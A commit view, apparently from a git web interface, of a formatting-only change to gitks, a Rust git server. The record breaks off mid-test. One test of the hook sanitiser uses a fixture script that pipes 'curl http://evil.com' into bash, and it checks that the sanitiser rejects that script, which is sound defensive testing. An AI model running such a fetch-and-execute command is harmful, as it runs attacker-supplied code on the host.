style(format): reformat code with consistent line breaks and spacing

This commit is contained in:
zhenyi
2026-06-12 15:11:32 +08:00
parent 6f40921576
commit 0e13f90834
16 changed files with 381 additions and 347 deletions
+3 -1
View File
@@ -114,7 +114,9 @@ impl GitBare {
// Verify the resolved path has no symlinks in its components // Verify the resolved path has no symlinks in its components
// by checking that canonicalization is idempotent // by checking that canonicalization is idempotent
let double_canon = canonical.canonicalize().unwrap_or_else(|_| canonical.clone()); let double_canon = canonical
.canonicalize()
.unwrap_or_else(|_| canonical.clone());
if canonical != double_canon { if canonical != double_canon {
return Err(GitError::InvalidArgument( return Err(GitError::InvalidArgument(
"path resolved to different target (possible symlink race)".into(), "path resolved to different target (possible symlink race)".into(),
+1 -1
View File
@@ -2,11 +2,11 @@
pub mod archive; pub mod archive;
pub mod bare; pub mod bare;
pub mod config;
pub mod blame; pub mod blame;
pub mod blob; pub mod blob;
pub mod branch; pub mod branch;
pub mod commit; pub mod commit;
pub mod config;
pub mod diff; pub mod diff;
pub mod disk_cache; pub mod disk_cache;
pub mod error; pub mod error;
+9 -9
View File
@@ -306,7 +306,10 @@ pub fn record_rate_limit_acquire(repo: &str) {
/// Record size distribution buckets (log2-based: 1KB, 4KB, 16KB, ..., 1GB). /// Record size distribution buckets (log2-based: 1KB, 4KB, 16KB, ..., 1GB).
fn record_size_bucket(map: &DashMap<String, AtomicU64>, label: &str, size: u64) { fn record_size_bucket(map: &DashMap<String, AtomicU64>, label: &str, size: u64) {
let buckets = [1024, 4096, 16384, 65536, 262144, 1048576, 4194304, 16777216, 67108864, 268435456, 1073741824]; let buckets = [
1024, 4096, 16384, 65536, 262144, 1048576, 4194304, 16777216, 67108864, 268435456,
1073741824,
];
for &bound in &buckets { for &bound in &buckets {
let key = format!("{label}:le_{bound}"); let key = format!("{label}:le_{bound}");
if size <= bound { if size <= bound {
@@ -558,20 +561,16 @@ impl Service<Request<Incoming>> for Router {
} }
fn json_response(status: u16, body: &str) -> Response<Full<Bytes>> { fn json_response(status: u16, body: &str) -> Response<Full<Bytes>> {
match Response::builder() Response::builder()
.status(status) .status(status)
.header("Content-Type", "application/json") .header("Content-Type", "application/json")
.header("Connection", "close") .header("Connection", "close")
.body(Full::new(Bytes::from(body.to_string()))) .body(Full::new(Bytes::from(body.to_string()))).unwrap_or_else(|err| {
{
Ok(response) => response,
Err(err) => {
tracing::error!(error = %err, "failed to build JSON response"); tracing::error!(error = %err, "failed to build JSON response");
Response::new(Full::new(Bytes::from_static( Response::new(Full::new(Bytes::from_static(
br#"{"error":"response build failed"}"#, br#"{"error":"response build failed"}"#,
))) )))
} })
}
} }
fn text_response(status: u16, content_type: &str, body: String) -> Response<Full<Bytes>> { fn text_response(status: u16, content_type: &str, body: String) -> Response<Full<Bytes>> {
@@ -579,7 +578,8 @@ fn text_response(status: u16, content_type: &str, body: String) -> Response<Full
.status(status) .status(status)
.header("Content-Type", content_type) .header("Content-Type", content_type)
.header("Connection", "close") .header("Connection", "close")
.body(Full::new(Bytes::from(body))).unwrap_or_else(|err| { .body(Full::new(Bytes::from(body)))
.unwrap_or_else(|err| {
tracing::error!(error = %err, "failed to build text response"); tracing::error!(error = %err, "failed to build text response");
Response::new(Full::new(Bytes::from_static(b"response build failed"))) Response::new(Full::new(Bytes::from_static(b"response build failed")))
}) })
+1 -2
View File
@@ -101,8 +101,7 @@ impl PackCache {
} }
}) })
.await; .await;
if result.is_err() { if result.is_err() {}
}
}); });
Some(ReceiverStream::new(rx)) Some(ReceiverStream::new(rx))
+1 -6
View File
@@ -61,8 +61,6 @@ fn get_max_concurrent() -> usize {
.unwrap_or_else(|e| e.into_inner()) .unwrap_or_else(|e| e.into_inner())
} }
/// A guard that holds a rate-limit permit. The permit is released on drop. /// A guard that holds a rate-limit permit. The permit is released on drop.
pub struct RateLimitGuard { pub struct RateLimitGuard {
/// The semaphore permit. Dropping this releases the permit. /// The semaphore permit. Dropping this releases the permit.
@@ -212,10 +210,7 @@ pub fn cleanup_idle_semaphores() {
}); });
if removed > 0 { if removed > 0 {
tracing::info!( tracing::info!(removed = removed, "cleaned up idle rate-limit semaphores");
removed = removed,
"cleaned up idle rate-limit semaphores"
);
} }
} }
+5 -4
View File
@@ -34,8 +34,7 @@ pub fn validate_oid_hex(hex: &str) -> GitResult<()> {
if hex.is_empty() { if hex.is_empty() {
return Err(GitError::InvalidArgument("oid hex cannot be empty".into())); return Err(GitError::InvalidArgument("oid hex cannot be empty".into()));
} }
if !(crate::config::MIN_OID_HEX_LENGTH..=crate::config::MAX_OID_HEX_LENGTH) if !(crate::config::MIN_OID_HEX_LENGTH..=crate::config::MAX_OID_HEX_LENGTH).contains(&hex.len())
.contains(&hex.len())
{ {
return Err(GitError::InvalidArgument(format!( return Err(GitError::InvalidArgument(format!(
"oid hex length must be {}..={} chars: {}", "oid hex length must be {}..={} chars: {}",
@@ -127,7 +126,8 @@ pub fn validate_revision(rev: &str) -> GitResult<()> {
if depth > crate::config::MAX_ANCESTRY_DEPTH { if depth > crate::config::MAX_ANCESTRY_DEPTH {
return Err(GitError::InvalidArgument(format!( return Err(GitError::InvalidArgument(format!(
"~N depth too large: {} (max {})", "~N depth too large: {} (max {})",
depth, crate::config::MAX_ANCESTRY_DEPTH depth,
crate::config::MAX_ANCESTRY_DEPTH
))); )));
} }
} }
@@ -151,7 +151,8 @@ pub fn validate_revision(rev: &str) -> GitResult<()> {
if depth > crate::config::MAX_ANCESTRY_DEPTH { if depth > crate::config::MAX_ANCESTRY_DEPTH {
return Err(GitError::InvalidArgument(format!( return Err(GitError::InvalidArgument(format!(
"^N depth too large: {} (max {})", "^N depth too large: {} (max {})",
depth, crate::config::MAX_ANCESTRY_DEPTH depth,
crate::config::MAX_ANCESTRY_DEPTH
))); )));
} }
} }
+4 -12
View File
@@ -30,7 +30,9 @@ use std::sync::{Arc, OnceLock};
use moka::sync::Cache; use moka::sync::Cache;
use prost::Message; use prost::Message;
use crate::config::{CACHE_ENTRY_OVERHEAD as ENTRY_OVERHEAD, CACHE_MAX_TTL, CACHE_MAX_WEIGHT, CACHE_TTI}; use crate::config::{
CACHE_ENTRY_OVERHEAD as ENTRY_OVERHEAD, CACHE_MAX_TTL, CACHE_MAX_WEIGHT, CACHE_TTI,
};
struct CacheState { struct CacheState {
store: Cache<Vec<u8>, Vec<u8>>, store: Cache<Vec<u8>, Vec<u8>>,
@@ -75,7 +77,6 @@ fn cache() -> &'static Cache<Vec<u8>, Vec<u8>> {
&state().store &state().store
} }
struct RepoKeyIndex { struct RepoKeyIndex {
repo_to_keys: DashMap<String, Vec<Arc<Vec<u8>>>>, repo_to_keys: DashMap<String, Vec<Arc<Vec<u8>>>>,
} }
@@ -96,7 +97,6 @@ fn track_cache_key(repo_path: &str, key: Arc<Vec<u8>>) {
.push(key); .push(key);
} }
/// Encode a structured cache key. /// Encode a structured cache key.
/// ///
/// Format: `namespace_len(u8) + namespace + repo_path_len(u16 LE) + repo_path + request_proto` /// Format: `namespace_len(u8) + namespace + repo_path_len(u16 LE) + repo_path + request_proto`
@@ -136,7 +136,6 @@ fn decode_namespace(key: &[u8]) -> &str {
std::str::from_utf8(&key[1..end]).unwrap_or("unknown") std::str::from_utf8(&key[1..end]).unwrap_or("unknown")
} }
/// Cache a single protobuf response. /// Cache a single protobuf response.
/// ///
/// On cache hit, decodes and returns the cached response. /// On cache hit, decodes and returns the cached response.
@@ -208,7 +207,6 @@ where
Ok(response) Ok(response)
} }
/// Cache a `Vec<Item>` protobuf response using length-delimited encoding. /// Cache a `Vec<Item>` protobuf response using length-delimited encoding.
/// ///
/// Each item is stored sequentially with length-delimited framing, allowing /// Each item is stored sequentially with length-delimited framing, allowing
@@ -297,10 +295,7 @@ where
let response = build()?; let response = build()?;
let build_elapsed = start.elapsed(); let build_elapsed = start.elapsed();
let total_est: usize = response let total_est: usize = response.iter().map(|item| item.encoded_len() + 10).sum();
.iter()
.map(|item| item.encoded_len() + 10)
.sum();
let mut data = Vec::with_capacity(total_est); let mut data = Vec::with_capacity(total_est);
let mut encode_ok = true; let mut encode_ok = true;
for item in &response { for item in &response {
@@ -330,7 +325,6 @@ where
Ok(response) Ok(response)
} }
/// Encode a protobuf request into a byte vector. /// Encode a protobuf request into a byte vector.
#[inline] #[inline]
fn encode_request<Req: Message>(request: &Req) -> Vec<u8> { fn encode_request<Req: Message>(request: &Req) -> Vec<u8> {
@@ -341,7 +335,6 @@ fn encode_request<Req: Message>(request: &Req) -> Vec<u8> {
buf buf
} }
/// Invalidate all cache entries for a specific repository. /// Invalidate all cache entries for a specific repository.
/// ///
/// Uses the structured key format to extract and match repository paths /// Uses the structured key format to extract and match repository paths
@@ -370,7 +363,6 @@ pub(crate) fn invalidate_repo(relative_path: &str) {
} }
} }
use crate::pb::{ObjectSelector, object_selector}; use crate::pb::{ObjectSelector, object_selector};
/// Returns true if the selector is an OID-based reference. /// Returns true if the selector is an OID-based reference.
+4 -4
View File
@@ -165,9 +165,7 @@ impl GitksService {
.unwrap_or_else(|_| self.repo_prefix.clone()); .unwrap_or_else(|_| self.repo_prefix.clone());
let canonical = match candidate.canonicalize() { let canonical = match candidate.canonicalize() {
Ok(canon) => { Ok(canon) => canon,
canon
}
Err(_) => { Err(_) => {
let parent = candidate.parent().unwrap_or(&self.repo_prefix); let parent = candidate.parent().unwrap_or(&self.repo_prefix);
let filename = candidate.file_name().ok_or_else(|| { let filename = candidate.file_name().ok_or_else(|| {
@@ -198,7 +196,9 @@ impl GitksService {
)); ));
} }
let double_canon = canonical.canonicalize().unwrap_or_else(|_| canonical.clone()); let double_canon = canonical
.canonicalize()
.unwrap_or_else(|_| canonical.clone());
if canonical != double_canon { if canonical != double_canon {
return Err(tonic::Status::invalid_argument( return Err(tonic::Status::invalid_argument(
"path resolved to different target (possible symlink race)", "path resolved to different target (possible symlink race)",
+68 -41
View File
@@ -522,208 +522,233 @@ async fn test_oid_binary_encoding() {
assert_eq!(hex_from_bytes, oid.hex); assert_eq!(hex_from_bytes, oid.hex);
} }
#[test] #[test]
fn test_count_commits_head() { fn test_count_commits_head() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest { let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: String::new(), revision: String::new(),
path: String::new(), path: String::new(),
since: String::new(), since: String::new(),
until: String::new(), until: String::new(),
}).unwrap(); })
.unwrap();
assert_eq!(resp.count, 4); assert_eq!(resp.count, 4);
} }
#[test] #[test]
fn test_count_commits_with_revision() { fn test_count_commits_with_revision() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest { let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: "feature".into(), revision: "feature".into(),
path: String::new(), path: String::new(),
since: String::new(), since: String::new(),
until: String::new(), until: String::new(),
}).unwrap(); })
.unwrap();
assert_eq!(resp.count, 1); assert_eq!(resp.count, 1);
} }
#[test] #[test]
fn test_count_commits_with_path() { fn test_count_commits_with_path() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest { let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: "main".into(), revision: "main".into(),
path: "README.md".into(), path: "README.md".into(),
since: String::new(), since: String::new(),
until: String::new(), until: String::new(),
}).unwrap(); })
.unwrap();
assert!(resp.count >= 1); assert!(resp.count >= 1);
} }
#[test] #[test]
fn test_count_diverging_commits() { fn test_count_diverging_commits() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_diverging_commits(CountDivergingCommitsRequest { let resp = gb
.count_diverging_commits(CountDivergingCommitsRequest {
repository: Some(hdr()), repository: Some(hdr()),
left: "feature".into(), left: "feature".into(),
right: "main".into(), right: "main".into(),
}).unwrap(); })
.unwrap();
assert_eq!(resp.left_count, 0); assert_eq!(resp.left_count, 0);
assert_eq!(resp.right_count, 3); assert_eq!(resp.right_count, 3);
} }
#[test] #[test]
fn test_find_commit_by_oid() { fn test_find_commit_by_oid() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let commit = gb.find_commit(FindCommitRequest { let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: common::oid_selector(&oid), revision: common::oid_selector(&oid),
include_stats: false, include_stats: false,
}).unwrap(); })
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty()); assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
} }
#[test] #[test]
fn test_find_commit_by_revision() { fn test_find_commit_by_revision() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let commit = gb.find_commit(FindCommitRequest { let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: common::rev_selector("main"), revision: common::rev_selector("main"),
include_stats: false, include_stats: false,
}).unwrap(); })
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty()); assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
} }
#[test] #[test]
fn test_find_commit_default_head() { fn test_find_commit_default_head() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let commit = gb.find_commit(FindCommitRequest { let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: None, revision: None,
include_stats: false, include_stats: false,
}).unwrap(); })
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty()); assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
} }
#[test] #[test]
fn test_list_commits_by_oid() { fn test_list_commits_by_oid() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let oid_bytes = gitks::oid::hex_to_bytes(&oid).unwrap(); let oid_bytes = gitks::oid::hex_to_bytes(&oid).unwrap();
let resp = gb.list_commits_by_oid(ListCommitsByOidRequest { let resp = gb
.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()), repository: Some(hdr()),
oids: vec![oid_bytes], oids: vec![oid_bytes],
include_stats: false, include_stats: false,
}).unwrap(); })
.unwrap();
assert_eq!(resp.commits.len(), 1); assert_eq!(resp.commits.len(), 1);
} }
#[test] #[test]
fn test_list_commits_by_oid_empty() { fn test_list_commits_by_oid_empty() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.list_commits_by_oid(ListCommitsByOidRequest { let resp = gb
.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()), repository: Some(hdr()),
oids: vec![], oids: vec![],
include_stats: false, include_stats: false,
}).unwrap(); })
.unwrap();
assert!(resp.commits.is_empty()); assert!(resp.commits.is_empty());
} }
#[test] #[test]
fn test_commits_by_message_basic() { fn test_commits_by_message_basic() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest { let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()), repository: Some(hdr()),
query: "initial".into(), query: "initial".into(),
revision: String::new(), revision: String::new(),
limit: 10, limit: 10,
offset: 0, offset: 0,
case_insensitive: false, case_insensitive: false,
}).unwrap(); })
.unwrap();
assert_eq!(resp.commits.len(), 1); assert_eq!(resp.commits.len(), 1);
} }
#[test] #[test]
fn test_commits_by_message_case_insensitive() { fn test_commits_by_message_case_insensitive() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest { let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()), repository: Some(hdr()),
query: "INITIAL".into(), query: "INITIAL".into(),
revision: String::new(), revision: String::new(),
limit: 10, limit: 10,
offset: 0, offset: 0,
case_insensitive: true, case_insensitive: true,
}).unwrap(); })
.unwrap();
assert_eq!(resp.commits.len(), 1); assert_eq!(resp.commits.len(), 1);
} }
#[test] #[test]
fn test_commits_by_message_no_match() { fn test_commits_by_message_no_match() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest { let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()), repository: Some(hdr()),
query: "zzzznonexistent".into(), query: "zzzznonexistent".into(),
revision: String::new(), revision: String::new(),
limit: 10, limit: 10,
offset: 0, offset: 0,
case_insensitive: false, case_insensitive: false,
}).unwrap(); })
.unwrap();
assert!(resp.commits.is_empty()); assert!(resp.commits.is_empty());
} }
#[test] #[test]
fn test_check_objects_exist() { fn test_check_objects_exist() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.check_objects_exist(CheckObjectsExistRequest { let resp = gb
.check_objects_exist(CheckObjectsExistRequest {
repository: Some(hdr()), repository: Some(hdr()),
revisions: vec![oid.clone(), "HEAD".into(), "nonexistent-branch".into()], revisions: vec![oid.clone(), "HEAD".into(), "nonexistent-branch".into()],
}).unwrap(); })
.unwrap();
assert_eq!(resp.revisions.len(), 3); assert_eq!(resp.revisions.len(), 3);
assert!(resp.revisions[0].exists); assert!(resp.revisions[0].exists);
assert!(resp.revisions[1].exists); assert!(resp.revisions[1].exists);
assert!(!resp.revisions[2].exists); assert!(!resp.revisions[2].exists);
} }
#[test] #[test]
fn test_get_commit_stats() { fn test_get_commit_stats() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let stats = gb.get_commit_stats(GetCommitStatsRequest { let stats = gb
.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: common::oid_selector(&oid), revision: common::oid_selector(&oid),
}).unwrap(); })
.unwrap();
assert!(stats.changed_files >= 1); assert!(stats.changed_files >= 1);
} }
#[test] #[test]
fn test_get_commit_stats_default() { fn test_get_commit_stats_default() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let stats = gb.get_commit_stats(GetCommitStatsRequest { let stats = gb
.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()), repository: Some(hdr()),
revision: None, revision: None,
}).unwrap(); })
.unwrap();
assert!(stats.changed_files >= 1); assert!(stats.changed_files >= 1);
} }
#[test] #[test]
fn test_last_commit_for_path() { fn test_last_commit_for_path() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.last_commit_for_path(LastCommitForPathRequest { let resp = gb
.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()), repository: Some(hdr()),
path: "README.md".into(), path: "README.md".into(),
revision: "main".into(), revision: "main".into(),
literal_pathspec: false, literal_pathspec: false,
}).unwrap(); })
.unwrap();
assert!(resp.commit.is_some()); assert!(resp.commit.is_some());
assert_eq!(resp.path, "README.md"); assert_eq!(resp.path, "README.md");
} }
@@ -731,11 +756,13 @@ fn test_last_commit_for_path() {
#[test] #[test]
fn test_last_commit_for_path_nonexistent() { fn test_last_commit_for_path_nonexistent() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let resp = gb.last_commit_for_path(LastCommitForPathRequest { let resp = gb
.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()), repository: Some(hdr()),
path: "nonexistent.txt".into(), path: "nonexistent.txt".into(),
revision: "main".into(), revision: "main".into(),
literal_pathspec: false, literal_pathspec: false,
}).unwrap(); })
.unwrap();
assert!(resp.commit.is_none()); assert!(resp.commit.is_none());
} }
+2 -4
View File
@@ -203,13 +203,11 @@ pub fn get_feature_oid(gb: &GitBare) -> String {
#[allow(dead_code)] #[allow(dead_code)]
pub fn oid_selector(hex: &str) -> Option<gitks::pb::ObjectSelector> { pub fn oid_selector(hex: &str) -> Option<gitks::pb::ObjectSelector> {
Some(gitks::pb::ObjectSelector { Some(gitks::pb::ObjectSelector {
selector: Some(gitks::pb::object_selector::Selector::Oid( selector: Some(gitks::pb::object_selector::Selector::Oid(gitks::pb::Oid {
gitks::pb::Oid {
hex: hex.to_string(), hex: hex.to_string(),
value: vec![], value: vec![],
format: 0, format: 0,
}, })),
)),
}) })
} }
+20 -13
View File
@@ -269,18 +269,19 @@ async fn test_get_patch() {
assert!(combined.contains("diff --git") || combined.contains("@@")); assert!(combined.contains("diff --git") || combined.contains("@@"));
} }
#[test] #[test]
fn test_find_changed_paths() { fn test_find_changed_paths() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let resp = gb.find_changed_paths(FindChangedPathsRequest { let resp = gb
.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()), repository: Some(hdr()),
base: feature_oid, base: feature_oid,
head: main_oid, head: main_oid,
paths: vec![], paths: vec![],
}).unwrap(); })
.unwrap();
assert!(!resp.paths.is_empty()); assert!(!resp.paths.is_empty());
} }
@@ -288,27 +289,30 @@ fn test_find_changed_paths() {
fn test_find_changed_paths_same_ref() { fn test_find_changed_paths_same_ref() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.find_changed_paths(FindChangedPathsRequest { let resp = gb
.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()), repository: Some(hdr()),
base: oid.clone(), base: oid.clone(),
head: oid, head: oid,
paths: vec![], paths: vec![],
}).unwrap(); })
.unwrap();
assert!(resp.paths.is_empty()); assert!(resp.paths.is_empty());
} }
#[test] #[test]
fn test_raw_diff() { fn test_raw_diff() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let chunks = gb.raw_diff(RawDiffRequest { let chunks = gb
.raw_diff(RawDiffRequest {
repository: Some(hdr()), repository: Some(hdr()),
base: feature_oid, base: feature_oid,
head: main_oid, head: main_oid,
options: None, options: None,
}).unwrap(); })
.unwrap();
assert!(!chunks.is_empty()); assert!(!chunks.is_empty());
let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect(); let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect();
let text = String::from_utf8_lossy(&combined); let text = String::from_utf8_lossy(&combined);
@@ -320,27 +324,30 @@ fn test_raw_patch() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let chunks = gb.raw_patch(RawPatchRequest { let chunks = gb
.raw_patch(RawPatchRequest {
repository: Some(hdr()), repository: Some(hdr()),
base: feature_oid, base: feature_oid,
head: main_oid, head: main_oid,
}).unwrap(); })
.unwrap();
assert!(!chunks.is_empty()); assert!(!chunks.is_empty());
let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect(); let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect();
let text = String::from_utf8_lossy(&combined); let text = String::from_utf8_lossy(&combined);
assert!(text.contains("From")); assert!(text.contains("From"));
} }
#[test] #[test]
fn test_get_raw_changes() { fn test_get_raw_changes() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb); let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb); let main_oid = common::get_main_oid(&gb);
let resp = gb.get_raw_changes(GetRawChangesRequest { let resp = gb
.get_raw_changes(GetRawChangesRequest {
repository: Some(hdr()), repository: Some(hdr()),
base: feature_oid, base: feature_oid,
head: main_oid, head: main_oid,
}).unwrap(); })
.unwrap();
assert!(!resp.changes.is_empty()); assert!(!resp.changes.is_empty());
} }
+8 -25
View File
@@ -1,11 +1,14 @@
//! Copyright (c) 2022-2026 GitDataAi All rights reserved. //! Copyright (c) 2022-2026 GitDataAi All rights reserved.
#[test] #[test]
fn test_metrics_render_all_counters() { fn test_metrics_render_all_counters() {
use gitks::metrics::*; use gitks::metrics::*;
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42)); record_request(
"TestInfra/Method",
"ok",
std::time::Duration::from_millis(42),
);
record_cache_op("moka", "hit", std::time::Duration::from_millis(0)); record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
record_cache_eviction("infra_ns", "expired"); record_cache_eviction("infra_ns", "expired");
record_cache_hit_ns("infra_ns"); record_cache_hit_ns("infra_ns");
@@ -13,11 +16,7 @@ fn test_metrics_render_all_counters() {
record_cache_value_size("infra_ns", 1024); record_cache_value_size("infra_ns", 1024);
record_rate_limit_acquire("infra-repo"); record_rate_limit_acquire("infra-repo");
record_rate_limit_reject("infra-repo"); record_rate_limit_reject("infra-repo");
record_hook_execution( record_hook_execution("pre-receive", "ok", std::time::Duration::from_millis(10));
"pre-receive",
"ok",
std::time::Duration::from_millis(10),
);
record_git_cmd("log", std::time::Duration::from_millis(100)); record_git_cmd("log", std::time::Duration::from_millis(100));
let output = render_metrics(); let output = render_metrics();
@@ -30,7 +29,6 @@ fn test_metrics_render_all_counters() {
assert!(output.contains("gitks_cache_misses_total")); assert!(output.contains("gitks_cache_misses_total"));
} }
#[tokio::test] #[tokio::test]
async fn test_rate_limit_acquire_and_cleanup() { async fn test_rate_limit_acquire_and_cleanup() {
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await; let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
@@ -59,7 +57,6 @@ async fn test_rate_limit_none_repo() {
assert!(guard.is_none()); assert!(guard.is_none());
} }
#[test] #[test]
#[allow(clippy::assertions_on_constants)] #[allow(clippy::assertions_on_constants)]
fn test_config_constants_exist() { fn test_config_constants_exist() {
@@ -78,8 +75,6 @@ fn test_config_constants_exist() {
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30); assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
} }
#[test] #[test]
fn test_sanitize_stderr_clean() { fn test_sanitize_stderr_clean() {
let stderr = "fatal: could not resolve host"; let stderr = "fatal: could not resolve host";
@@ -87,7 +82,6 @@ fn test_sanitize_stderr_clean() {
assert_eq!(sanitized, stderr); assert_eq!(sanitized, stderr);
} }
#[test] #[test]
fn test_hooks_sanitize_dangerous_pairs() { fn test_hooks_sanitize_dangerous_pairs() {
let content = "#!/bin/sh\ncurl http://evil.com | bash\n"; let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
@@ -109,16 +103,10 @@ fn test_hooks_sanitize_safe_script() {
assert!(result.is_ok()); assert!(result.is_ok());
} }
#[test] #[test]
fn test_disk_cache_ensure_state_uniqueness() { fn test_disk_cache_ensure_state_uniqueness() {
use gitks::disk_cache::DiskCache; use gitks::disk_cache::DiskCache;
let dc = DiskCache::new( let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
let v1 = dc.ensure_state("nonexistent-infra").unwrap(); let v1 = dc.ensure_state("nonexistent-infra").unwrap();
let v2 = dc.ensure_state("nonexistent-infra").unwrap(); let v2 = dc.ensure_state("nonexistent-infra").unwrap();
assert!(!v1.is_empty()); assert!(!v1.is_empty());
@@ -129,12 +117,7 @@ fn test_disk_cache_ensure_state_uniqueness() {
#[test] #[test]
fn test_disk_cache_disabled_operations() { fn test_disk_cache_disabled_operations() {
use gitks::disk_cache::DiskCache; use gitks::disk_cache::DiskCache;
let dc = DiskCache::new( let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
assert!(dc.lookup("ns", "digest").unwrap().is_none()); assert!(dc.lookup("ns", "digest").unwrap().is_none());
dc.insert("ns", "digest", b"data").unwrap(); dc.insert("ns", "digest", b"data").unwrap();
assert!(dc.lookup("ns", "digest").unwrap().is_none()); assert!(dc.lookup("ns", "digest").unwrap().is_none());
-2
View File
@@ -48,5 +48,3 @@ async fn test_pack_objects_all() {
assert!(!has_error, "pack_objects stream had errors"); assert!(!has_error, "pack_objects stream had errors");
assert!(total_bytes > 0, "pack_objects produced no data"); assert!(total_bytes > 0, "pack_objects produced no data");
} }
+34 -20
View File
@@ -66,39 +66,44 @@ fn test_list_refs_direct() {
} }
} }
#[test] #[test]
fn test_write_ref_and_ref_exists() { fn test_write_ref_and_ref_exists() {
let (_dir, gb) = common::setup_bare_repo(); let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb); let oid = common::get_main_oid(&gb);
let resp = gb.write_ref(gitks::pb::WriteRefRequest { let resp = gb
.write_ref(gitks::pb::WriteRefRequest {
repository: Some(hdr()), repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(), ref_name: "refs/heads/test-write".into(),
new_oid: oid, new_oid: oid,
old_oid: String::new(), old_oid: String::new(),
